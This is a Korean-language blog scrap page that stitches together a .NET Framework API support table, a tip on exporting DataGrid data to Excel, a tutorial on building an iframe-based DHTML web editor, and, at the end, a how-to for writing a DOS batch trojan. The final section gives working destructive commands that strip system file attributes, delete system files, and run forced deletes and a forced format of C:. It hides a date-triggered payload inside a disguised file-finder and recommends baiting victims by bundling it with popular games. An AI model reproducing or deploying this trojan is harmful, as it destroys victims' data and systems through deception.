Process.MinWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.MaxWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.VirtualMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.UserProcessorTime

Y

Y

Y

Y

N

System.Diagnostics

Process.NonpagedSystemMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PrivilegedProcessorTime

Y

Y

Y

Y

N

System.Diagnostics

Process.PrivateMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakVirtualMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakPagedMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PagedSystemMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PagedMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.WorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.BasePriority

Y

Y

Y

Y

N

System.Diagnostics

Process.PowerBroadcastStatus

Y

Y

Y

Y

N

System.ServiceProcess

ServiceControllerStatus

Y

Y

Y

Y

N

System.ServiceProcess

ServiceStartMode

Y

Y

Y

Y

N

System.ServiceProcess

ServiceType

Y

Y

Y

Y

N

System.ServiceProcess

ServiceProcessInstaller

Y

Y

Y

Y

N

System.ServiceProcess

ServiceInstaller

Y

Y

Y

Y

N

System.ServiceProcess

ServiceController

Y

Y

Y

Y

N

System.ServiceProcess

ServiceBase

Y

Y

Y

Y

N

System.IO

WatcherChangeTypes

Y

Y

Y

Y

N

System.IO

ChangedFilters

Y

Y

Y

Y

N

System.IO

ErrorEventArgs

Y

Y

Y

Y

N

System.IO

ErrorEventHandler

Y

Y

Y

Y

N

System.IO

FileSystemEventArgs

Y

Y

Y

Y

N

System.IO

FileSystemEventHandler

Y

Y

Y

Y

N

System.IO

FileSystemWatcher

Y

Y

Y

Y

N

System.IO

InternalBufferOverflowException

Y

Y

Y

Y

N

System.IO

IODescriptionAttribute

Y

Y

Y

Y

N

System.IO

RenamedEventArgs

Y

Y

Y

Y

N

System.IO

RenamedEventHandler

Y

Y

Y

Y

N

System.IO

WaitForChangedResult

Y

Y

Y

Y

N

System.IO

NotifyFilters

Y

Y

Y

Y

N

System.Diagnostics

CounterCreationDataCollection

Y

Y

Y

Y

N

System.Diagnostics

CounterCreationData

Y

Y

Y

Y

N

System.Diagnostics

CounterSample

Y

Y

Y

Y

N

System.Diagnostics

CounterSampleCalculator

Y

Y

Y

Y

N

System.Diagnostics

EntryWrittenEventArgs

Y

Y

Y

Y

N

System.Diagnostics

EntryWrittenEventHandler

Y

Y

Y

Y

N

System.Diagnostics

EventLog

Y

Y

Y

Y

N

System.Diagnostics

EventLogEntry

Y

Y

Y

Y

N

System.Diagnostics

EventLogEntryCollection

Y

Y

Y

Y

N

System.Diagnostics

EventLogEntryType

Y

Y

Y

Y

N

System.Diagnostics

EventLogInstaller

Y

Y

Y

Y

N

System.Diagnostics

InstanceData

Y

Y

Y

Y

N

System.Diagnostics

InstanceDataCollection

Y

Y

Y

Y

N

System.Diagnostics

InstanceDataCollectionCollection

Y

Y

Y

Y

N

System.Diagnostics

PerformanceCounter

Y

Y

Y

Y

N

System.Diagnostics

PerformanceCounterCategory

Y

Y

Y

Y

N

System.Diagnostics

PerformanceCounterInstaller

Y

Y

Y

Y

N

System.Diagnostics

PerformanceCounerManager

Y

Y

Y

Y

N

System.Diagnostics

PerformanceCounterType

Y

Y

Y

Y

N

System.Diagnostics

EventLogTraceListener

Y

Y

Y

Y

N

System.Environment

WorkingSet

Y

Y

Y

Y

N

System.Threading

ThreadPool.BindHandle

Y

Y

Y

Y

N

System.Threading

Overlapped.Pack

Y

Y

Y

Y

N

System.Threading

Overlapped.Unpack

Y

Y

Y

Y

N

System.Threading

Overlapped.UnsafePack

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakVirtualMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.NonpagedSystemMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PriorityBoostEnabled

Y

Y

Y

Y

N

System.Diagnostics

Process.WorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.MaxWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.PrivilegedProcessorTime

Y

Y

Y

Y

N

System.Diagnostics

Process.MinWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.StartTime

Y

Y

Y

Y

N

System.Diagnostics

Process.PrivateMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PagedSystemMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakWorkingSet

Y

Y

Y

Y

N

System.Diagnostics

Process.UserProcessorTime

Y

Y

Y

Y

N

System.Diagnostics

Process.PagedMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.PeakPagedMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.VirtualMemorySize

Y

Y

Y

Y

N

System.Diagnostics

Process.TotalProcessorTime

Y

Y

Y

Y

N

System.Diagnostics

Process.ExitTime

Y

Y

Y

Y

N

System.EnterpriseServices

ApplicationActivationAttribute.SoapVRoot

Y

Y

N

N

N

System.EnterpriseServices

ApplicationQueuingAttribute.MaxListenerThreads

Y

Y

N

N

N

System.EnterpriseServices

ContextUtil.ApplicationId

Y

Y

N

N

N

System.EnterpriseServices

ContextUtil.ApplicationInstanceId

Y

Y

N

N

N

System.EnterpriseServices

PrivateComponentAttribute

Y

Y

N

N

N

System.EnterpriseServices

TransactionAttribute.Timeout

Y

Y

N

N

N

System.EnterpriseServices

TransactionIsolationLevel

Y

Y

N

N

N

System.EnterpriseServices

Namespace overview

Y

Y

Y

N

N

System.EnterpriseServices

AccessChecksLevelOption

Y

Y

Y

N

N

System.EnterpriseServices

ActivationOption

Y

Y

Y

N

N

System.EnterpriseServices

ApplicationAccessControlAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ApplicationActivationAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ApplicationIDAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ApplicationNameAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ApplicationQueuingAttribute

Y

Y

Y

N

N

System.EnterpriseServices

AuthenticationOption

Y

Y

Y

N

N

System.EnterpriseServices

AutoCompleteAttribute

Y

Y

Y

N

N

System.EnterpriseServices

BOID

Y

Y

Y

N

N

System.EnterpriseServices

BYOT

Y

Y

Y

N

N

System.EnterpriseServices

ComponentAccessControlAttribute

Y

Y

Y

N

N

System.EnterpriseServices

COMTIIntrinsicsAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ConstructionEnabledAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ContextUtil

Y

Y

Y

N

N

System.EnterpriseServices

DescriptionAttribute

Y

Y

Y

N

N

System.EnterpriseServices

EventClassAttribute

Y

Y

Y

N

N

System.EnterpriseServices

EventTrackingEnabledAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ExceptionClassAttribute

Y

Y

Y

N

N

System.EnterpriseServices

IISIntrinsicsAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ImpersonationLevelOption

Y

Y

Y

N

N

System.EnterpriseServices

InstallationFlags

Y

Y

Y

N

N

System.EnterpriseServices

InterfaceQueuingAttribute

Y

Y

Y

N

N

System.EnterpriseServices

IRegistrati[안내]태그제한으로등록되지않습니다-onHelper

Y

Y

Y

N

N

System.EnterpriseServices

IRemoteDispatch

Y

Y

Y

N

N

System.EnterpriseServices

ITransaction

Y

Y

Y

N

N

System.EnterpriseServices

JustInTimeActivationAttribute

Y

Y

Y

N

N

System.EnterpriseServices

LoadBalancingSupportedAttribute

Y

Y

Y

N

N

System.EnterpriseServices

MustRunInClientContextAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ObjectPoolingAttribute

Y

Y

Y

N

N

System.EnterpriseServices

PrivateComponentAttribute

Y

Y

N

N

N

System.EnterpriseServices

PropertyLockMode

Y

Y

Y

N

N

System.EnterpriseServices

PropertyReleaseMode

Y

Y

Y

N

N

System.EnterpriseServices

Registrati[안내]태그제한으로등록되지않습니다-xxonErrorInfo

Y

Y

Y

N

N

System.EnterpriseServices

RegistrationException

Y

Y

Y

N

N

System.EnterpriseServices

Registrati[안내]태그제한으로등록되지않습니다-onHelper

Y

Y

Y

N

N

System.EnterpriseServices

Registrati[안내]태그제한으로등록되지않습니다-onHelperTx

Y

Y

Y

N

N

System.EnterpriseServices

ResourcePool

Y

Y

Y

N

N

System.EnterpriseServices

SecureMethodAttribute

Y

Y

Y

N

N

System.EnterpriseServices

SecurityCallContext

Y

Y

Y

N

N

System.EnterpriseServices

SecurityCallers

Y

Y

Y

N

N

System.EnterpriseServices

SecurityIdentity

Y

Y

Y

N

N

System.EnterpriseServices

SecurityRoleAttribute

Y

Y

Y

N

N

System.EnterpriseServices

ServicedComponent

Y

Y

Y

N

N

System.EnterpriseServices

ServicedComponentException

Y

Y

Y

N

N

System.EnterpriseServices

SharedProperty

Y

Y

Y

N

N

System.EnterpriseServices

SharedPropertyGroup

Y

Y

Y

N

N

System.EnterpriseServices

SharedPropertyGroupManager

Y

Y

Y

N

N

System.EnterpriseServices

SynchronizationAttribute

Y

Y

Y

N

N

System.EnterpriseServices

SynchronizationOption

Y

Y

Y

N

N

System.EnterpriseServices

TransactionAttribute

Y

Y

Y

N

N

System.EnterpriseServices

TransactionIsolationLevel

Y

Y

N

N

N

System.EnterpriseServices

TransactionOption

Y

Y

Y

N

N

System.EnterpriseServices

TransactionVote

Y

Y

Y

N

N

System.EnterpriseServices

XACTTRANSINFO

Y

Y

Y

N

N

System.EnterpriseServices

ContextUtil.PartitionId

Y

Y

N

N

N

System.EnterpriseServices

TransactionAttribute.
Isolation

Y

Y

N

N

N

System.EnterpriseServices.
CompensatingResourceManager

ApplicationCrmEnabledAttribute

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

Clerk

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

ClerkInfo

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

ClerkMonitor

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

Compensator

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

CompensatorOptions

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

LogRecord

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

LogRecordFlags

Y

Y

Y

N

N

System.EnterpriseServices.
CompensatingResourceManager

TransactionState

Y

Y

Y

N

N

 

 

 

 

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndotnet/html/framewkwinsupp.asp 발췌

 

출처 : http://cafe.daum.net/aspdotnet

DataGrid를 엑셀로 변환하는 방법은 싸이트에 많이 올라와 있고요.

그런데 변환된 엑셀의 헤더나, 컬럼길이, 색깔 등을 마음대로 제어하기가 좀 어렵더라고요.

저는 다른 방법으로 엑셀을 다운받게 했습니다.  ==> 첨부참조


즉 원하는 모양대로 html을 만들어서 데이타 부분만 Loop돌면서 만드는거죠.

첨부를 보시면 DataSet으로 데이타를 받아내는 foreach문과 print_list 변수의 셋팅이 핵심입니다.

생각보다는 간단했습니다.


    ....

    ....

    print_list = "<html> \r\n";

    허걱~~

    html 이 이상하게 먹히네요.

    첨부를 참조하세요....

    93 ~ 94Line....

    ....

    ....



그런데, 제 PC에서는 잘 되던게  다른 Client PC에서는 한글이 깨지더군요.

제 PC의 엑셀은 2002, 다른 Client PC의 엑셀은 2000.

정확히는 엑셀이 인코딩을 인식 못하는 경우가 있습니다.

엑셀의 메뉴 [도구] -> [옵션] -> (일반 탭) -> (웹옵션 버튼) -> (인코딩 탭) 에서 확인할 수 있습니다.

아마도 엑셀2000의 버그인 듯함.


프로그램 아무리 잘만들어도, web.config 잘설정해도,

다운받는 PC가 Excel 2000이면 위에서 주석처리한 코딩은 한글이 깨집니다.

주석라인 밑에서 보는 것처럼 태그정보를 정확하게 쌍따옴표로 묶어야 합니다.


이 하나 때문에 반나절 보냈습니다.

^^;;


저처럼 시간 허비하는 분이 없으시길 빌며 2000.


출처 : http://club.cyworld.nate.com/51289444167/9627141

결국은 펌이 되어버렸네.....
dhtmlframe.document.body.innerHTML; 부분에서 body란 구문만 눈치 챘어도....
자력으로 만들 수 있었는데....

만들려고 삽질한게 2시간.....
찾아보고 펌해서 실행해본건.... 10분정도.... 허억......

일단 소스
========================================================================================================
출처 : http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=5413

기본 원리는 IFAME의을 편집 할 수 있도록 하고 자바스크립트에서 DHTML편집 할 수 있는 형태이며 저장은 자바스크립트에서 값을 변환 하고 넘기는 방식 입니다.


1. 편집창 만들기

편집창은 iframe태그를 사용 합니다.

<iframe></iframe>

속성으로는 다음과 같은 것들이 있습니다.

src="" iframe에서 연결 시킬 경로 width="" 너비 height="" 높이 name="" 이름으로 FRAME의 이름과 동일 하며 taget의 대상이 될 수 있습니다.

예) <iframe src="http://www.yahoo.co.kr" width="700" height="400" name="html"></ifame>

ifrme은 반드시 종료태그가 있어야 합니다.


IFRAME은 FRAME을 이미지 형식으로 만드는 태그 입니다. 하지만 일반형식은 브라우저의 내용을 그냥 읽어오는 형식 입니다. 그래서 편집 가능 하도록 자바스크립트에서 만들어 줍니다.


<HTML>

<HEAD>
<TITLE>웹에디터 예제1</TITLE>
</HEAD>

<BODY>
<IFRAME NAME=dhtmlframe></IFRAME>
<SCRIPT LANGUAGE="JavaScript">
<!-- JavaScript
    dhtmlframe.document.designMode = "On"
// - JavaScript - -->
</SCRIPT>

</BODY>
</HTML>

여기서 자바스크립트는 iframe이후에 넣어 줘야 합니다.
그럼 위의 파일을 html로 만들고 브라우저에서 읽어오면 편집 가능 하도록 되어 있을 것 입니다.


2. 편집툴바 만들기

<HEAD>와 </HEAD>사이에 자바 스크립트 만듭니다.


<SCRIPT langauge="javascript">
    function htmledit(excute){
    dhtmlframe.document.execCommand(excute);
}
</SCRIPT>


그리고 툴바에는 볼드,이탤릭,언더라인 만들고 다음 과 링크를 연결 합니다.


<A href="javascript:htmledit('BOLD');">볼드</A>
<A href="javascript:htmledit('italic');">이탤릭</A>
<A href="javascript:htmledit('underline');">언더라인</A>


다음 예제를 저장 하고 브라우저를 통해 실행 합니다.


<HTML>

<HEAD>
<TITLE>웹에디터 예제2</TITLE>

<SCRIPT langauge="javascript">
function htmledit(excute){
        dhtmlframe.document.execCommand(excute);
}
</SCRIPT>
</HEAD>

<BODY>
<A href="javascript:htmledit('bold');">볼드</A>
<A href="javascript:htmledit('italic');">이탤릭</A>
<A href="javascript:htmledit('underline');">언더라인</A>
<p>
<IFRAME NAME=dhtmlframe></IFRAME>

<SCRIPT LANGUAGE="JavaScript">
<!-- JavaScript
    dhtmlframe.document.designMode = "On"
// - JavaScript - -->
</SCRIPT>
</BODY>

</HTML>


브라우저에서 편집 가능 한것을 볼수 있습니다.


볼드,이탤릭,언더라인 이외 무엇이 있을까요.

cut -  자르기
copy - 복사
paste - 붙여넣기
justifyleft - 좌측정렬
justifycenter - 중심정렬
justifyright - 우측정렬
insertorderedlist - 점표시목록
insertunorderedlist - 숫자목록
outdent - 들여쓰기 줄이기
indent- 들여쓰기 늘이기
createlink - 링크
fontname - 글꼴
fontSize - 글사이즈


<A href="javascript:htmledit('cut');">자르기</a>

형식등로 사용 할 수 있습니다.


그러나 글꼴 이나 글크기등은 값이 필요 합니다. 이경우 htmledit(excute)에서 excute이외 하나더 인자가 필요 합니다. values 라고 하나 더 추가 합니다.


<SCRIPT langauge="javascript">
function htmledit(excute,values){
        if(values==null){
                dhtmlframe.document.execCommand(excute);
        }
        else
                dhtmlframe.document.execCommand(excute,"",values);
        }
}
</SCRIPT>


글꼴을 궁서체로 만들고 싶으면

htmledit('fontname','궁서체') 가 됩니다. 다음 예제를 테스트 해보세요


<HTML>

<HEAD>
<TITLE>웹에디터 예제3</TITLE>
<SCRIPT langauge="javascript">
function htmledit(excute,values)
{
        if(values==null)
        {
                dhtmlframe.document.execCommand(excute);
        }
        else
        {
                dhtmlframe.document.execCommand(excute,"",values);
        }
}
</SCRIPT>
</HEAD>

<BODY>
<A href="javascript:htmledit('cut');">자르기</a>
<A href="javascript:htmledit('copy');">복사</a>
<A href="javascript:htmledit('paste');">붙여넣기</a>
<A href="javascript:htmledit('justifyleft');">좌측정렬</a>
<A href="javascript:htmledit('justifycenter');">중심정렬</a>
<A href="javascript:htmledit('justifyright');">우측정렬</a>
<A href="javascript:htmledit('insertorderedlist');">점표시목록</a>
<A href="javascript:htmledit('insertunorderedlist');">숫자목록</a>
<A href="javascript:htmledit('outdent');">들여쓰기줄이기</a>
<A href="javascript:htmledit('indent');">들여쓰기늘이기</a>
<A href="javascript:htmledit('createlink');">링크</a><BR>
글꼴 &gt;
<A href="javascript:htmledit('fontname','굴림');">굴림</a>
<A href="javascript:htmledit('fontname','궁서');">궁서</a>
글크기 &gt;
<A href="javascript:htmledit('fontSize',2);">2</a>
<A href="javascript:htmledit('fontSize',3);">3</a>
<A href="javascript:htmledit('fontSize',4);">4</a>
<A href="javascript:htmledit('bold');">볼드</A>
<A href="javascript:htmledit('italic');">이탤릭</A>
<A href="javascript:htmledit('underline');">언더라인</A>
<P><IFRAME NAME=dhtmlframe></IFRAME>

<SCRIPT LANGUAGE="JavaScript">
<!-- JavaScript
    dhtmlframe.document.designMode = "On"
// - JavaScript - -->
</SCRIPT>
</BODY>

</HTML>


3. 값넘기기

이제까지 HTML과 자바스크립트로만 이용 해서 만들었습니다. 이렇게 만든 값을 CGI(PHP,ASP..)등으로 보내고야 합니다. 아시다 싶이 값을 전송 하는것은 form태그를 시용 합니다.

form을 만듭니다. 그리고 form의 속성중 name을 form으로 만들고(아무거나 만들어도 상관 없겠죠)


<IFRAME>밑에 <TEXTAREA></TEXTAREA>을 만듭니다. 이름은 아무거나.. 저는 comment라 지었습니다.


그리고 HEAD자바 스크립트에 다음과 같이 추가 합니다.


function datasubmit()
{
        form.comment.value = dhtmlframe.document.body.innerHTML;
}


아래의 예제를 실행 하고 HTML보기를 클릭 하면 HTML소스가 <TEXTAREA>에 복사 되는 것을 볼 수 있습니다.

그상태에서 다른 CGI에서 comment로 변수로 읽어 저장 되는 것 입니다.


<HTML>

<HEAD>
<TITLE>웹에디터 예제4</TITLE>
<SCRIPT langauge="javascript">
function htmledit(excute,values)
{
        if(values==null)
        {
                dhtmlframe.document.execCommand(excute);
        }
        else
        {
                dhtmlframe.document.execCommand(excute,"",values);
        }
}
function datasubmit()
{
        form.comment.value = dhtmlframe.document.body.innerHTML;
}
</SCRIPT>
</HEAD>

<BODY>
<form name=form>
<A href="javascript:htmledit('cut');">자르기</a>
<A href="javascript:htmledit('copy');">복사</a>
<A href="javascript:htmledit('paste');">붙여넣기</a>
<A href="javascript:htmledit('justifyleft');">좌측정렬</a>
<A href="javascript:htmledit('justifycenter');">중심정렬</a>
<A href="javascript:htmledit('justifyright');">우측정렬</a>
<A href="javascript:htmledit('insertorderedlist');">점표시목록</a>
<A href="javascript:htmledit('insertunorderedlist');">숫자목록</a>
<A href="javascript:htmledit('outdent');">들여쓰기줄이기</a>
<A href="javascript:htmledit('indent');">들여쓰기늘이기</a>
<A href="javascript:htmledit('createlink');">링크</a><BR>
글꼴 &gt;
<A href="javascript:htmledit('fontname','굴림');">굴림</a>
<A href="javascript:htmledit('fontname','궁서');">궁서</a>
글크기 &gt;
<A href="javascript:htmledit('fontSize',2);">2</a>
<A href="javascript:htmledit('fontSize',3);">3</a>
<A href="javascript:htmledit('fontSize',4);">4</a>
<A href="javascript:htmledit('bold');">볼드</A>
<A href="javascript:htmledit('italic');">이탤릭</A>
<A href="javascript:htmledit('underline');">언더라인</A>
<A href="javascript:htmledit('fontname');">언더라인</A>
<P><IFRAME NAME=dhtmlframe></IFRAME>
<P><TEXTAREA NAME="comment" ROWS="3"></TEXTAREA></P>
<P><A href="javascript:datasubmit()">HTML보기</a>
<SCRIPT LANGUAGE="JavaScript">
<!-- JavaScript
    dhtmlframe.document.designMode = "On"
// - JavaScript - -->
</SCRIPT>

</form>
</BODY>

</HTML>


그럼 다른 CGI(PHP,ASP..)을 보내기 위해 소스를 다듬어 보도록 하겠습니다.
먼저 <TEXTAREA>에 STYLE="display: none"을 추가 합니다.
그럼 <TEXTAREA STYLE="display: none">가 되며 브라우저에서 보이지 않게 됩니다.
그리고 <form>에는 제대로 보내고자 하는 CGI위치와 method를 지정 합니다.

<A href="javascript:datasubmit()">HTML보기</a>을
<input type="submit" value="확인" Onclick="datasubmit()"> 으로 바꿉니다.



<HTML>

<HEAD>
<TITLE>웹에디터 예제5</TITLE>
<SCRIPT langauge="javascript">
function htmledit(excute,values)
{
        if(values==null)
        {
                dhtmlframe.document.execCommand(excute);
        }
        else
        {
                dhtmlframe.document.execCommand(excute,"",values);
        }
}
function datasubmit()
{
        form.comment.value = dhtmlframe.document.body.innerHTML;
}
</SCRIPT>
</HEAD>

<BODY>
<form name=form method=post action="test.php">
<A href="javascript:htmledit('cut');">자르기</a>
<A href="javascript:htmledit('copy');">복사</a>
<A href="javascript:htmledit('paste');">붙여넣기</a>
<A href="javascript:htmledit('justifyleft');">좌측정렬</a>
<A href="javascript:htmledit('justifycenter');">중심정렬</a>
<A href="javascript:htmledit('justifyright');">우측정렬</a>
<A href="javascript:htmledit('insertorderedlist');">점표시목록</a>
<A href="javascript:htmledit('insertunorderedlist');">숫자목록</a>
<A href="javascript:htmledit('outdent');">들여쓰기줄이기</a>
<A href="javascript:htmledit('indent');">들여쓰기늘이기</a>
<A href="javascript:htmledit('createlink');">링크</a><BR>
글꼴 &gt;
<A href="javascript:htmledit('fontname','굴림');">굴림</a>
<A href="javascript:htmledit('fontname','궁서');">궁서</a>
글크기 &gt;
<A href="javascript:htmledit('fontSize',2);">2</a>
<A href="javascript:htmledit('fontSize',3);">3</a>
<A href="javascript:htmledit('fontSize',4);">4</a>
<A href="javascript:htmledit('bold');">볼드</A>
<A href="javascript:htmledit('italic');">이탤릭</A>
<A href="javascript:htmledit('underline');">언더라인</A>
<A href="javascript:htmledit('fontname');">언더라인</A>
<P><IFRAME NAME=dhtmlframe></IFRAME>
<P><TEXTAREA NAME="comment" ROWS="3"></TEXTAREA></P>
<P><input type="submit" value="확인" Onclick="datasubmit()">
<SCRIPT LANGUAGE="JavaScript">
<!-- JavaScript
    dhtmlframe.document.designMode = "On"
// - JavaScript - -->
</SCRIPT>

</form>
</BODY>

</HTML>


지금까지 공개 되었던 소스보다 간단하다는것을 알 수 있습니다. 하지만 중요한 요소는 다들어 가 있으며 여기서부터는 살을 붙이고 디자인도 바꾸면 됩니다. 그 몫은 여러분이 해야 할 일 입니다.

출처: http://blog.naver.com/k962404/30021032188


아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능
@ECHO OFF

ATTRIB C:*.* -H -R -S  > NUL   <= 이줄은 시스템파일의 숨김,읽기전용,
                   시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다.
                    "> NUL"  은 변형결과가 화면에  안뜨게 하는것이다.
DEL *.SYS < NUL  <= 모든 시스템 파일을 지워버린다.
DEL XXX.YYY  < NUL <=  본인 스스로 해당  파일명 삭제명령, 역시  보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                   그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z
여기에 화면에 어떤 메시지를 띄울수도 있을것이다.
ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "
아주 간단하면서 효과는 확실하다.
현재 이건 극히 초보적인  것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 바꾸어놓는 조작을 할 수 있다. 다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를 던진다면 확실히 물릴것이다.
아래는 간단한 파일 찾기 프로그램이다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 것이니 일단은 자세히 보고 원리를 이해하기 바란다.
이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 있는 것이다.
그러니 각별히 사용에 주의를 요한다.
다음 예제를 살펴보자.
예) 월 표시 프로그램
@ECHO OFF
GETMONTH.COM    <= 월체크 유틸리티
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
^Z
배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. 때문에 배치를 도와줄 유틸리티가 필요하게 되었다. 사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요한거 보면 대동소이 하지만.........
도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 우린 단지 그것을 찾아서 이용만 하면 된다.
위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
외부의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 배치에서도 바꾸어주셔야 한다.
자, 이것을 실행하면 현재 시스템의 월을 표시해준다.
이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, 즉. 시스템상태감식 프로그램이다.
폭탄으로 말하면 뇌관정도로 비유될까?
이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자.
아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.
@echo off
if "%1"=="/?" goto help
cd
dir %1 /s/p/w/l/o:n
goto end
:help
echo
echo Usage : filefind [filename]
echo
:end
이제 위의 둘을 합친 모습을 보자!
@ECHO OFF

GETMONTH.COM     <= 시스템 "월" 체크 유틸리티  . 파일명 변경해도 됨-체크할것
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
REM  아래부분은 바이러스 코드이다.
:VIRUS
echo   VIRUS !!  BOMB!!
ECHO Y | DEL *.* > nul              <= 중요한 명령
REM  아래 부분은 파일찾기 프로그램 코드이다.
:FF
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd
dir %1 /s/p/w/l/o:n
goto end
echo
echo Usage : filefind [filename]
echo
:end

자 이제 자세히 설명해보자.
임의로 체크를 3월달로 맞추어 놓았다.
자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다.
처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의해 바이러스 코드 부분을 실행한다.
이 바이러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다.
이줄    ECHO Y | DEL *.*  은 모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로 YES로 지정하기 위해 들어간 줄이다.
이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 소잃고 외양간도 못고치는 격이다.
다른 예로,  ECHO Y | FORMAT C:  라고 할수도 있다.
ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
단, 되도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하는 것이 더 효과적이다.
왜냐면, 이런  방식으로 하다간  가끔 시스템이 다운되거나  무한루프에 빠질수도있으니깐.....
만약 자신이 어떤 프로그램이나  게임등에 이런 바이러스 코드를 첨가시켜  전파시키는 방법도 있다.
방법은, 유명게임이나 유명  유틸리티 등에 자신이 직접  인스톨 프로그램을 작성하여 첨가시키는 것이다.
